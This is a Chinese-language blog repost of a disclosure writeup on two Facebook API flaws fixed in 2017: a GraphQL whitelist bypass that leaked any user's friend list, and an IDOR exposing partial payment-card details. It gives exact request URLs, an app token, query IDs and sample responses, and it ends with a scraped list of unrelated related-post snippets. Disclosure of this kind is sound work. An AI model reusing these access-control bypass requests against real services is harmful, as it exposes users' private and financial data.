GraphQL漏洞案例:获取任何Facebook用户的朋友列表和部分支付卡详细信息

Facebook有一个GraphQL endpoint,只能由Facebook的某些应用程序使用。需要用户(或页面)access_token来查询GraphQL endpoint。

这里可以将Facebook用在Android应用程序的客户端令牌去尝试查询请求,endpoint返回的错误消息如下:

graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&q=me(){id}

Response:
...
    "error_data": {
      "debug_info": "Only whitelisted query IDs are allowed in logged out context"
    },
...

错误显示仅允许被列入白名单的持久查询。之后运行一堆查询以查看是否有白名单。例如,查询“ FBActorNameQuery”:

graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437&query_id=10154057467378380&query_params={"actorID":"100…."}

Response:
...
    "error_data": {
      "debug_info": "Only whitelisted query IDs are allowed in logged out context"
    },
...

授权访问漏洞-遍历朋友列表

因为找不到列入白名单的查询字段,所以报错信息都是提示白名单错误。后来用doc_id作为查询ID来发送查询才没有返回错误,但只能返回公共数据。

虽然绕过了白名单,但是这个字段查询到的数据已经是公开内容。

但是这个漏洞可以绕过Facebook自带的隐私设置。字段名为“ CSPlaygroundGraphQLFriendsQuery ” 的查询会泄漏朋友列表。

请求和响应示例:

graph.facebook.com/graphql?access_token=350685531728|62f8ce9f74b12f84c123cc23437&doc_id=1914123128613545&variables={"user_id":"10000xxxxxxxx"}&method=post

响应内容:
...
    "node": {
      "friends": {
        "edges": [
            "node": {
              "id": "12xxxxxxxxx",
              "name": "Some One",
              },
          {
            "node": {
              "id": "15xxxxxxxxx",
              "name": "Another One",
            }
          },
...

漏洞修复时间线

  • 2017年10月6日:报告了错误
  • 2017年10月12日:Facebook回应,漏洞已归类
  • 2017年10月14日:修复了好友列表泄漏
  • 2017年10月17日:修复了白名单绕过问题

使用Graph API的部分支付卡详细信息泄漏

Facebook的Graph API的这个越权查询允许使用名为payment_modules_options的字段查询任意用户的支付卡详细信息。

通过拦截Facebook的Android应用程序发出的注册和登录请求里发现了这个字段。
这是一个示例请求:

graph.facebook.com/v2.8/USER_ID?access_token=TOKEN
&fields=payment_modules_options.payment_type(payment_settings)

USER_ID是受害者的Facebook帐户的ID。

access_token:Burpsuite里的TOKEN值是攻击者从Facebook应用程序(例如Android应用程序)访问请求包里获取的。

如果没有有效的payment_type就没有办法进行查询,但是指定一个无效的付款类型,payment_type(asd)会返回所有可能是付款类型的列表。这是不安全的直接对象引用(IDOR)的教科书级别Bug示例。

使用攻击者帐户作为受害者的请求和响应的屏幕截图:

返回的数据包括:

  • 前6个卡数字(BIN),标识发行卡的银行
  • 后4位数字
  • 到期月份和年份
  • 卡的种类
  • 持卡人名字
  • 邮政编码和国家

漏洞修复时间线

  • 2017年2月23日,21: 11-报告了错误
  • 2017年2月23日,21:50-Facebook的第一反应,正在调查该报告
  • 2017年2月23日,23:25-正在部署修订
  • 2017年2月24日,01:24-错误现已修复

编译

https://www.josipfranjkovic.com/blog/facebook-friendlist-paymentcard-leak

原文地址:https://www.cnblogs.com/17bdw/p/12045930.html

时间: 2024-10-11 09:08:16

GraphQL漏洞案例:获取任何Facebook用户的朋友列表和部分支付卡详细信息的相关文章

Python 获取Facebook用户的Friends的爱好

Code: #!/usr/bin/python # -*- coding: utf-8 -*- ''' Created on 2014-8-11 @author: guaguastd @name: friends_like_query.py ''' # impot login from login import facebook_login # import helper from helper import pp # access to facebook facebook_api = face

Python 获取Facebook用户与其有共同爱好的Friends

CODE: #!/usr/bin/python # -*- coding: utf-8 -*- ''' Created on 2014-8-13 @author: guaguastd @name: common_friends_finding.py ''' # impot login from login import facebook_login # import helper #from helper import pp # import PrettyTable from prettytab

通过Javascript Facebook API获取Facebook用户信息,以及当前用户的好

在使用APP之前需要先生成Facebook APP ID 这不必多说. 生成Facebook APP ID之后 在javascript中 初始化Facebook信息 而且我定义了一些我需要获取获取数据的全局变量 <script language="javascript" type="text/javascript"> //这是我们要获取的信息变量 var facebookId; var facebookName; var facebookProfileI

Python 获取Facebook用户的Friends的爱好中的Top10

CODE; #!/usr/bin/python # -*- coding: utf-8 -*- ''' Created on 2014-8-12 @author: guaguastd @name: friends_popular_likes.py ''' # impot login from login import facebook_login # import helper from helper import pp # calculating the most popular likes

Python 获取Facebook用户Friends的爱好类别中的Top10

CODE: #!/usr/bin/python # -*- coding: utf-8 -*- ''' Created on 2014-8-12 @author: guaguastd @name: friends_popular_category.py ''' # impot login from login import facebook_login # import helper #from helper import pp # calculating the most popular ca

FQL——facebook用户信息查询接口

FQL是FACEBOOK提供的一种类似SQL风格的查询语句,FQL可以查询FACEBOOK的Graph API暴露出来的数据.访问https://api.facebook.com/method/fql.query?query=QUERY,把QUERY部分替换成任意XML或JSON格式的查询参数. SELECT [fields] FROM [table] WHERE [conditions] FQL不同于SQL,FROM只能查询单个表.你也可以用关键字IN在SELECT或WHERE中加入子查询.但

如何能低成本地快速获取大量目标用户,而不是与竞争对手持久战?

本文来自网易云社区. 这在如今的互联网上并不常见.现在,大部分行业都已经是竞争多时的红海,而蓝海市场的技术.资源壁垒非常之高,一般产品望尘莫及.在竞争激烈的红海市场中,怎样才能做到四两拨千斤呢? 这通常是可遇不可求的机会,需要竞争对手留下重要缺陷.在发展非常快速的互联网环境中,产品经理需要敏锐地观察到这样的机会,迅速做出产品方案与决策. 一个好产品不是通过堆砌需求而产生的,就算把用户反馈的所有重要需求都满足了,依然可能面对用户量不上涨的情况.产品经理需要寻找那些对产品价值最大的需求,而低成本地快

微信网页授权认证获取用户的详细信息,实现自动登陆-微信公众号开发干货

原创声明:本文为本人原创作品,绝非他处转账,转载请联系博主 从接触公众号到现在,开发维护了2个公众号,开发过程中遇到很多问题,现在把部分模块功能在这备案一下,做个总结也希望能给其他人帮助 工欲善其事,必先利其器,先看看开发公众号需要准备或了解什么 web开发工具:官方提供的开发工具,使用自己的微信号来调试微信网页授权.调试.检验页面的 JS-SDK 相关功能与权限,模拟大部分 SDK 的输入和输出.下载地址:web开发工具下载 开发文档:https://mp.weixin.qq.com/wiki

环信集成,获取注册开发者用户获取Appkey(二)

首先登陆此网站:https://console.easemob.com 点击注册:具体注册信息,按照自己的信息,记着填写正确的邮箱,因为账号需要邮箱激活. 登陆后,点击我的应用, 创建应用, 成功后就会看到多个一个应用,在创建前有个sandbox的应用,不清楚是干嘛的,直接无视即可. 创建成功自己的应用后,可以创建用户之类.打开这个应用比如叫test1 里面就可以看到.appkey啦,这就是手机端需要在配置文件配置的, 他的下面就有快速集成,和Android,ios怎么配置之类. IOS需要上传